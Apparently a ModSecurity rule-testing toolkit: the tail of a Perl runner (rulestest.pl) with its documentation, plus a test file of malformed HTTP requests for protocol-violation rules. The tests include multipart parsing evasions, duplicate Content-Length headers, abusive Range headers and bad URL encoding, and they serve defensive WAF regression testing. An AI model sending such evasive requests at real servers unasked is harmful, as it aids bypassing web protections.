my ($hash, $global_hash, $key, $global, @values) = @_;
if ($global) {
push @{$global_hash->{$key}}, @values;
}
elsif (!$hash->{"_OVERRIDE_$key"}) {
$hash->{$key} = [];
}
$hash->{"_OVERRIDE_$key"} = 1;
push @{$hash->{$key}}, @values;
}
sub global_clear
{
my ($state, $key) = @_;
while ($state) {
undef $state->{$key};
$state = $state->{'parent'};
}
}
sub run_test
{
my ($outfile, $state, $file) = @_;
return if $state->{'check'};
if ($state->{'from'}) {
return if $state->{'name'} !~ /$state->{'from'}/;
}
global_clear ($state, 'from');
my $do_test = $#{$state->{'run'}} < 0;
foreach my $select (@{$state->{'run'}}) {
$do_test ||= ($state->{'name'} =~ /$select/);
}
return if !$do_test;
if ($state->{'request'} && $state->{'uri'}) {
print STDERR "Error 103: cannot use both %request and %uri in test $state->{'name'} in file $file\n";
exit;
}
reconfigure($state);
if ($state->{'uri'}) {
$state->{'request'} = $SKELETON_REQUEST;
$state->{'request'} =~ s/\$URI/$state->{'uri'}/;
}
my $requests = $state->{'fuzz'} ?
generate_vectors ($state->{'request'}, $state->{'vars'}, $state->{'verbose'}) :
{'' => $state->{'request'}};
VECTOR: while (my ($vars, $request) = each %$requests)
{
my $test = inherit_state ($state);
$test->{'request'} = $request;
if ($test->{'mslog'}) {
my $output = `wc $test->{'mslog'}`;
$output =~ /\s*(\d+)/;
$test->{'mslog_start'} = $1;
}
if ($test->{'msdebug'}) {
my $output = `wc $test->{'msdebug'}`;
$output =~ /\s*(\d+)/;
$test->{'msdebug_start'} = $1;
}
my ($server, $port) = ($test->{'server'}, $test->{'port'});
if (!$port && ($server =~ /^(.+)\:(\d+)$/)) {
$server = $1;
$port = $2;
}
if ($test->{'hostname'}) {
my $hostname = ($test->{'hostname'});
}
my $sock = IO::Socket::INET->new(PeerAddr => $server, PeerPort => $port);
if (!$sock) {
print STDERR "Error 104: error connecting to server $server. $@\n";
exit;
}
print $sock $request;
my $line;
do {
my @ready;
@ready = IO::Select->new($sock)->can_read($test->{'timeout'});
if ($#ready < 0) {
$test->{'response'} = $test->{'response_status'} = "N/A";
report_test ($outfile, 'TIMEOUT', $test, $request, $vars);
next VECTOR;
}
if (defined($line = <$sock>)) {
$test->{'response'} .= $line;
if (!$test->{'response_status'}) {
if ($line =~ /^HTTP\S*\s+(\d+)/) {
$test->{'response_status'} = $1;
}
elsif ($line =~ /<title>400 Bad Request<\/title>/) {
$test->{'response_status'} = 400;
}
}
}
} while (defined($line));
if ($test->{'mslog'}) {
my $output = `wc $test->{'mslog'}`;
$output =~ /\s*(\d+)/;
my $lines = $1 - $test->{'mslog_start'};
$test->{'mslog'} = `tail -n $lines $test->{'mslog'}`;
}
if ($test->{'msdebug'}) {
my $output = `wc $test->{'msdebug'}`;
$output =~ /\s*(\d+)/;
my $lines = $1 - $test->{'msdebug_start'};
$test->{'msdebug'} = `tail -n $lines $test->{'msdebug'}`;
}
$test->{'match_status'} = check_match ($test->{'response_status'}, $test->{'status'});
$test->{'match_output'} = check_match ($test->{'response'}, $test->{'output'});
$test->{'match_audit'} = !$test->{'mslog'} || check_match ($test->{'mslog'}, $test->{'audit'});
my $test_events;
foreach my $event (@{$test->{'event'}}) {
if ($event =~ /^\!(.*)$/) {
push @$test_events, "!\\[id \\\"$1\\\"\\]"
}
else {
push @$test_events, "\\[id \\\"$event\\\"\\]"
}
}
$test->{'match_events'} = !$test->{'mslog'} || check_match ($test->{'mslog'}, $test_events);
my $result =
($test->{'match_status'}
&& $test->{'match_output'}
&& $test->{'match_audit'}
&& $test->{'match_events'}) ? "OK" : "FAIL" ;
report_test ($outfile, $result, $test, $request, $vars);
sleep $test->{'pause'} if $test->{'pause'};
}
}
sub check_match
{
my ($text, $patterns) = @_;
my $match = 1;
foreach my $pattern (@$patterns) {
if ($pattern =~ /^\!(.*)$/) {
return 0 if $text =~ /$1/sm;
}
else {
return 0 if $text !~ /$pattern/sm;
}
}
return $match;
}
sub report_header
{
my ($outfile, $outfilename) = @_;
print $outfile "\nModSecurity rules test report generated to $outfilename on " . localtime() . "\n";
print $outfile "Produced by rulestest.pl, (c) Trustwave Holdings Inc, 2012\n";
}
sub report_file_header
{
my ($outfile, $filename) = @_;
print $outfile "\n## reading tests file $filename\n";
}
sub report_test
{
my ($outfile, $result, $test, $request, $vars) = @_;
print $outfile "\n" if $result ne "OK";
print $outfile "$result: ";
print $outfile "$test->{'name'}";
print $outfile " ($vars)" if $vars;
print $outfile ", status = $test->{'response_status'}";
#print $outfile ", X-WAF-Event Match" if ($test->{'match_output'});
my (@events) = ($test->{'mslog'} =~ /\[id \"(\d+)\"\]/gim);
print $outfile $#events < 0 ? ", no events received" : ", event(s) = " . (join ",", @events) ;
if ($result eq "FAIL") {
print $outfile "\n";
if (!$test->{'match_status'}) {
print $outfile "Expected status code(s): " . (join ",", @{$test->{'status'}}) . "\n";
}
if (!$test->{'match_events'}) {
print $outfile "Expected event(s): " . (join ",", @{$test->{'event'}}) . "\n";
}
if (!$test->{'match_audit'}) {
print $outfile "Audit does not match\n";
}
if (!$test->{'match_output'}) {
print $outfile "Output does not match\n";
}
#$test->{'match_events'} && print "Events: $test->{'response_status'} and not " . (join ",", $test->{'status'}) . "\n";
print_details ($test) if $test->{'verbose'} || $test->{'relevant'};
}
print $outfile "\n";
print_details ($test) if $test->{'verbose'};
}
sub print_details
{
my ($test) = @_;
print $outfile "---------\nRequest:\n$test->{'request'}\n";
print $outfile "---------\nResponse:\n$test->{'response'}\n";
print $outfile "---------\nLog:\n$test->{'mslog'}\n" if ($test->{'mslog'});
print $outfile "---------\nDebug:\n$test->{'msdebug'}\n" if ($test->{'msdebug'});
}
sub generate_vectors
{
my ($script, $vars, $verbose) = @_;
my $test_requests = [];
my $vectors = [ {} ];
while (my ($var, $values) = each %$vars) {
next if $var =~ /^_OVERRIDE_/;
next if $script !~ /\$$var\b/;
foreach my $vector (@$vectors) {
$vector->{$var} = $values->[0];
}
if ($#$values > 0) {
my $collect_vectors = [];
shift @$values;
foreach my $value (@$values) {
my $new_vectors = dclone $vectors;
foreach my $vector (@$new_vectors) {
$vector->{$var} = $value;
}
push @$collect_vectors, @$new_vectors;
};
push @$vectors, @$collect_vectors;
}
}
$script =~ s/\$([a-zA-Z_]+)/\$vector->{$1}/g;
#print "SCRIPT=>$script\n";
my $results;
foreach our $vector (@$vectors) {
my $var = join ",", map { "$_=$vector->{$_}" } keys %$vector;
$vector->{'CONTENT_LENGTH'} = '$CONTENT_LENGTH';
my $result;
if (!defined($result = eval_expression ($script, $vector, $verbose))) {
print STDERR "Error 109: unable to fuzz request. Not fuzzing test.\n";
return ({'' => $script});
}
#my $req = HTTP::Request->parse($result);
my ($content) = $result =~ /.*?\x0D\x0A\x0D\x0A(.*)/sm;
$vector->{'CONTENT_LENGTH'} = length $1;
$result = eval_expression ($script, $vector, $verbose);
$results->{$var} = $result;
}
return $results;
}
sub eval_expression
{
my ($script, $vector, $verbose) = @_;
$script =~ s/([\"\@\%])/\\$1/g;
my $result;
my $warn;
local $SIG{__WARN__} = sub { $warn = $_[0] };
eval {
my $safe = new Safe;
$safe->share ('$vector');
$result = $safe->reval ("return \"$script\"");
};
if ((my $error = $@) || $warn) {
print STDERR "Error 108: unable to evaluate expression\n";
print STDERR "SCRIPT: $script\n" if $verbose;
print STDERR "EVAL ERROR: $error\n" if $error && $verbose;
print STDERR "EVAL WARNING: $warn\n" if $warn && $verbose;
return undef;
}
return $result;
}
sub tchomp {
my ($text) = @_;
$text =~ s/^(.*?)(?:\x0D\x0A|\x0A|\x0D|\x0C|\x{2028}|\x{2029})/$1/s;
return $text;
}
__END__
=head1 NAME
rulestest.pl
=head1 SYNOPSIS
rulestest.pl [options] [test files ...]
This program reads and executed tests in input test file(s) agains a
ModSecurity protected web application.
use -help for options.
use -man for detailed usage information.
=head1 OPTIONS
the following options can be used either on the command line or (using the
long version) as directives (prefixed by %) in test files.
-s or -server <address>[:<port>]
address of server to send. Mandatory before any test, but can appear
in the test files themselves
-p or -port <port>
port to send tests to, defaults to 80
-t or -timeout <time>
time in seconds, possibly fractional, to wait for server response.
If the server does not respond within this period the test fails.
the default is 10 seconds.
Timeout should be small for synthetic tests, such as those
generated from capture files as the server would respond fast.
The timeout may need to be longer for real world servers.
-f or -fuzz
Whether to use fuzzing or not. You may not want to use fuzzing in
case the requests where generated automatically and may includes
syntax that will be considered by rulestest as substitutable
variables.
-mslog <file name>
ModSecurity log file to search for events in. If not specified
events are not (useful if tests are not run locally).
-msdebug <file name>
ModSecurity debug file to extract debug information
to test report. If not specified, debug information is not
add to the report.
-o <file name>
name of output file. Defaults to STDOUT. Not relevant as directive
in test files.
-i <file name>
Names of input files. can also appear as parameters on the command
line. Not relevant as directive in test files.
-check
Does not run test but only parses the input file
-run <regular expression>
a regular expresion to select tests to perfrom. Only tests whose
name match the regular expression are executed. The option
(or directive) can be used multiple times, so a test matching
any of the regular expressions will be executed.
-from <regular expression>
a regular expression selecting the first test to perform.
-r or -relevant
Detailed information in the test report in case
of a test failure.
-v or -verbose
Detailed information for all tests. Verbose will also cause specific
errors to include print more information.
-c or -clean
deletes log and debug files and restart apache (using apachctl).
Significantly enhance performance of the tests and can be used as
many times as needed in test files.
Clean is executed once, when starting the 1st test after it is
defined regardless of the scope it is defined at. Specifically
it will remove the log and debug files as defined when the test
start: this enables the use of -clean on the command line even
though file locations are defined only later on, for example in
rulestest.conf.
=head1 INSTALLATION & CONFIGURATION
Test should be run from the same host ModSecurity runs on, or a computer that
has file system access to ModSecurity audit log to. This allows rulestest to
examine ModSecurity audit log for events and extract information from
ModSecurity debug log to the test report.
In order to test for events, ensure that ModSecurity is set use serial logging.
=head2 Local and Global Settings:
When used in a file, directives are local to the file, and when used whithin
a test they are local to a test. To specify global settings preced the directive
wiht the keyword global:
%global server 127.0.0.1:80
if a file with the name rulestest.conf exists in the same directory as the
script, it will be read. I can contain any directive valid in a test file.
It can be used to set default
=head2 Binary Attrbiutes:
Directives that except a yes/no value can be set in varios ways. Providing the
value 0 or 1 will set them to no and yes respectively. The directive without
any values is eqvivalent to setting it to 1, and the directive preceded by "no"
is eqvivalent to 0, for example:
%noverbose
will set the current scope to not report verbosely.
=head2 Default Settings:
The file rulestest.conf is automatically read by rulestest.pl before any
tests file and may contain global setup directives. You may especially want to
set there settings such as %server, %mslog and %msdebug as well as reporting
level using %verbose and %relevant.
=head1 WRITING TESTS
To write a test use the following directives:
=head2 defining the test request
%test <name> -
starts a test and set is name as shown in the report
%endtest -
used to terminate a test. Ususally there is no need to use this
directive as the next %test directive implicitly defines the end of
a test. You may want to use it if you want to set additional file
level settings for the remaining tests.
%remark -
Ignore all lines (including directives) until a matching %endremark
directive. use # at the beginning of a line to add a remark line to
the file, if not in the middle of a multi-line directive such as
%request.
%request -
multiple lines of the request should appear on the lines follwing
the directive terminated by the next =directive (a line starting
with "%"). Do not forget to leave an empty line as required by
HTTP.
You can use the special variable $CONTENT_LENGTH to have
rulestest set the correct content length for the request.
$CONTENT_LENGTH can save counting, but its main use is to enable
fuzzing of requests with variables in the post data.
%uri -
a uri to send to the server. it would be embedded in a
standard request
%pause -
define a delay in seconds after the test and before the next test.
Useful if the feature tested involves timeouts.
either a %uri or a %request directive must appeat in a test. A %request or a
%uri can include variables using perl notation ($varname). this would be
replaced when testing with a value set by the %var directive.
Empty lines are skipped if not in the middle of multi-line directives such
as %request.
=head2 defining expected output
%status <regexp> -
The expected response status code(s).
%event <regexp> -
A regexp that should match event ids generated by the test in
the audit log.
%audit <regexp> -
A regexp that should match in the audit log of the test.
%output <regexp> -
A regexp that should match in set a string to search in the HTTP
response. You can use multiple directives to define many required
patterns.
for %event, %audit and %output you can use multiple directives to define
many required patterns. All of them must match for the rule to match. Use the
regular expresion or (|) option to check for at least one option from a group
of patterns.
Each regular expression can be preceded by a "!" mark to negate the test. the
regular expression following must not appear in the test result.
=head1 REPORTING
By default rulestest will provide brief message describing if the test succeded
in any of the checks done: status code, events generated, pattern in audit log
and pattern in response.
the following directives allow control on the level of details of the report:
%verbose -
from the test for which the directive appears onward, output request,
reply and new ModSecurity audit log lines for each test. set to 0 to
stop (1 is implicit on set).
%relevant -
from the test for which the directive appears onward, output verbose
output for tests that failed any check. set to 0 to stop (1 is
implicit on set).
In most cases, you will only be interested in the failed tests. In that case,
you can use awk with the following command:
gawk '$1=="OK:" {printme=0}; $1=="FAIL:" {printme=1}; $1=="##" {printme=1}; printme==1 {print}'
=head1 VARIABLE SUBSTITUTION (FUZZING)
The directive "%var variable=value[, value[, valueM-^E..]] sets values for a
variable which are embedded in the request sent. The test would be repeated
using every value. Values are set only for the current test. Use the
%globalvar directive to set global variables.
Multiple %var directives for the same variable add values to the list and do
not replace values, so:
%var variable=value1
%var variable=value2
Would test with both value1 and value2.
If multiple variables are used in the same test, than the test is carried for
each combination of values of the variables:
%var var1=v1, v2
%var var3=v3, v4
The test would be repeated 4 times with the test vectors (v1, v3), (v1, v4),
(v2, v3), (v2, v4).
As noted before, the special variable $CONTENT_LENGTH can be used to
automatically calculate the content length based on the actually generated
request after variable substitution.
=head1 TESTING RESPONSES
In order for outbound tests the script testserver.cgi has to be installed in
the web server's /cgi-bin directory.
To force response content in request, use /cgi-bin/testserver.cgi as the target
URL and add one or more of the following headers to the reuqest:
Response-Status: - Force a response status line. Defaults to "200 OK".
Response-Content: - Adds the string to the response. Note that this would not be
the entire response.
Response-Content-Type: - sets the value of the content type header, defaults to
"text/html"
Response-Header-Name: - Adds a header to the response. This defined the new
header's name. Response-Header-Value defines the header's value.
Response-Header-Value: - The value of the new header defined by the request
header Response-Header-Name. Note: If Response-Header-Name is empty, then this
parameter will be ignored.
=head1 ERRORS
Error 101:
test file <file> not found. Check that all options are valid and no
option was considered a test file.
Error 102:
syntax error in file <file> on line <line>. a line which is not
a remark, not a directive and not in any multiline section (request
and multi line remark) was found at specified line and file.
Error 103:
cannot use both %request and %uri. Only one of these directive can
be specified in each test.
Error 104:
error connecting to server. The specific error is also displayed.
This error usually implies a communication problem or specificaiton
of a wrong server or port.
Error 105:
Error occured when trying to open a tests file. Tests will continue
with next tests file.
Error 106:
Error occured when trying to create report file.
Error 107:
%endtest directive without a preceding %test directive
Error 108:
The expression evulator (using Perl eval function) failed. The
expression probably includes some Perl syntax. use -verbose to
print the actual error returned.
Error 109:
Fuzzing the request failed. This probably implies that the test
request includes some Perl syntax. You may want to use the nofuzz
option to overcome the problem.
=cut

View File

@@ -0,0 +1,599 @@
%timeout 10
# FILE 20 - protocol violations
%test Invalid HTTP Request Line (960911) - Test 1
#####################################################
%remark
This test has a TAB character before the request method.
%endremark
%status 400|403
%request
GET / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Invalid HTTP Request Line (960911) - Test 2
#####################################################
%remark
This test uses backslashes instead of forward slashes.
%endremark
%status 400|403
%request
GET \index.html HTTP\1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Invalid HTTP Request Line (960911) - Test 3
#####################################################
%remark
This test has a pipe character before the request method.
%endremark
%status 400|403|501
%output 960911
%request
|GET / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Attempted multipart/form-data bypass (960000)
#####################################################
%remark
This test attempts form name parsing evasion using '.
%endremark
%output 960000
%request
POST /cgi-bin/fup.cgi HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost/upload.html
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------627652292512397580456702590
Content-Length: $CONTENT_LENGTH
-----------------------------627652292512397580456702590
Content-Disposition: form-data; name=x';filename="';name=contact.txt;"
Content-Type: text/plain
email: security@modsecurity.org
-----------------------------627652292512397580456702590
Content-Disposition: form-data; name="note"
Contact info.
-----------------------------627652292512397580456702590--
%test Failed to parse request body (960912)
#####################################################
%remark
Part missing Content-Disposition header
%endremark
%output 960912
%request
POST / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.3.2/form.html
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: $CONTENT_LENGTH
-----------------------------265001916915724
Contt-Disposition: form-data; name="file"; filename="test"
Content-Type: application/octet-stream
Rotem & Ayala
-----------------------------265001916915724
Content-Disition: form-data; name="name"
tt2
-----------------------------265001916915724
Content-Disposition: form-data; name="B1"
Submit
-----------------------------265001916915724--
%test Multipart request body failed strict validation (960914)
#####################################################
%output 960914
%remark
Invalid Quoting
%endremark
%request
POST / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.3.2/form.html
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: $CONTENT_LENGTH
-----------------------------265001916915724
Content-Disposition: form-data; name='name; filename="'; name=payload;"
Content-Type: application/octet-stream
Rotem & Ayala
-----------------------------265001916915724
Content-Disposition: form-data; name="name"
tt2
-----------------------------265001916915724
Content-Disposition: form-data; name="B1"
Submit
-----------------------------265001916915724--
%test Multipart parser detected a possible unmatched boundary (960915)
#####################################################
%remark
Unmatched final boundary
%endremark
%output 960915
%request
POST / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.3.2/form.html
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: $CONTENT_LENGTH
-----------------------------265001916915724
Content-Disposition: form-data; name="file"; filename="test"
Content-Type: application/octet-stream
Rotem & Ayala
-----------------------------265001916915724
Content-Disposition: form-data; name="name"
tt2
-----------------------------265001916915724
Content-Disposition: form-data; name="B1"
Submit
-----------------------------265001916915725--
%test Invalid Request Body (960000)
#####################################################
%remark
Invalid Quoting
%endremark
%output 960000
%request
POST / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.3.2/form.html
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: $CONTENT_LENGTH
-----------------------------265001916915724
Content-Disposition: form-data; name="fi;le"; filename="test"
Content-Type: application/octet-stream
Rotem & Ayala
-----------------------------265001916915724
Content-Disposition: form-data; name="name"
tt2
-----------------------------265001916915724
Content-Disposition: form-data; name="B1"
Submit
-----------------------------265001916915724--
%test Invalid Request Body/XML (960912)
#####################################################
%remark
Incorrect ending error tag </err>
%endremark
%output 960912
%request
POST / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.3.2/form.html
Content-Type: text/xml
Content-Length: $CONTENT_LENGTH
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<SOAP-ENV:Body>
<xkms:StatusRequest xmlns:xkms="http://www.w3.org/2002/03/xkms#" Id="_6ee48478-fdd6-4d7d-b1bf-e7b4c3254659" ResponseId="_c1c36b3f-f962-4aea-bfbd-07ed58468c9b" Service="http://www.soapclient.com/xml/xkms2">
<xkms:ResponseMechanism>http://www.w3.org/2002/03/xkms#Pending</xkms:ResponseMechanism>
<xkms:RespondWith>http://www.w3.org/2002/03/xkms#X509Cert</xkms:RespondWith>
</xkms:StatusRequest>
</SOAP-ENV:Body><error></err>
</SOAP-ENV:Envelope>
%test Content-Length HTTP header is not numeric (960016)
#####################################################
%remark
When Apache received multiple headers with the same name, it will contat them into one header with commas separating the individual payloads.
%endremark
%status 413|400
%request
POST / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Content-Length: 3
abc
%test Content-Length HTTP header is not numeric (960016)
#####################################################
%remark
Content-Length should only contain digits. This has a semi-colon.
%endremark
%status 413|400
%request
POST / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 3;
abc
%test GET or HEAD Request with Body Content (960011)
#####################################################
%remark
This request sends a request body while using a GET request.
%endremark
#%status 400
%output 960011
%request
GET / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: $CONTENT_LENGTH
abc
%test POST request missing Content-Length Header (960012)
#####################################################
%output 960012
%request
POST / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
%test Invalid Use of Identity Encoding (960902)
#####################################################
%output 960902
%event 960902
%request
GET / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Encoding: Identity
%test Expect Header Not Allowed for HTTP 1.0 (960022)
#####################################################
%output 960022
%event 960022
%request
GET / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Expect: 100-continue
%test Pragma Header requires Cache-Control Header for HTTP/1.1 requests (960020)
#####################################################
%output 960020
%event 960020
%request
GET / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Pragma: no-cache
%test Range: field exists and begins with 0 (958291)
#####################################################
%output 958291
%event 958291
%request
GET / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Range: bytes=0-
%test Range: Invalid Last Byte Value (958230)
#####################################################
%output 958230
%request
GET / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15
Keep-Alive: 300
Proxy-Connection: keep-alive
Connection: close
%test Range: Too many fields (958231)
#####################################################
%output 958231
%request
GET / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15
Keep-Alive: 300
Proxy-Connection: keep-alive
Connection: close
%test Multiple/Conflicting Connection Header Data Found (958295)
#####################################################
%output 958295
%event 958295
%var connection=keep-alive
%var connection=close
%request
GET / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Connection: $connection, $connection
%test URL Encoding Abuse Attack Attempt (950107)
#####################################################
%output 950107
%event 950107
%var encoded_arg=%1G
%var encoded_arg=%7%6F%6D%65%74%65%78%74%5F%31%32%33%
%request
GET /?parm=$encoded_arg HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
